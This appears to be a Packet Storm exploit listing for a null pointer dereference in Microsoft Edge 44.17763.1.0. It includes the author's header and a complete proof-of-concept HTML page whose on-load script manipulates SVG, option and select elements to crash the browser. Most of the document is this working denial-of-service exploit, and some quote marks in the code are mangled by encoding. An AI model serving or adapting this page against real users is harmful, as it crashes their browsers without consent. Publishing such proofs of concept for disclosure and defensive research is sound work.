Microsoft Edge 44.17763.1.0 Null Pointer Dereference

Microsoft Edge version 44.17763.1.0 suffers from a null pointer dereference vulnerability.


MD5 | 0a65b587f31d643082ffba442fb6edfd

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<!--
i>>?# Exploit Title: Microsoft Edge 44.17763.1.0 NULL Pointer Dereference. Denial of Service (PoC)
# Google Dork: N/A
# Date: 2018-11-14
# Exploit Author: Bogdan Kurinnoy ([email protected])
# Vendor Homepage: https://www.microsoft.com/
# Version: Microsoft Edge 44.17763.1.0 (Microsoft EdgeHTML 18.17763)
# Tested on: Windows 10 x64
# CVE : N/A

# Description:

# Access violation while reading memory at 0x2D0 using a NULL ptr edgehtml!CSelectElement::SetItem+0x190

# https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/19625211/


PoC.html
-->

<html>

<head>

<script>

function f1() {
  
  try {var v1 = eventhandler1; } catch(e) { }

  var v2 = document.createElementNS("http://www.w3.org/2000/svg", apatterna);

  v2.addEventListener("1", v1);

  var v3 = document.createElement(aoptiona);

  var v4 = document.createElement(aselecta);

  v4[4] = v3;

}

</script>

</head>

<body onload=f1()>

</body>

</html>

Source: packetstormsecurity.com
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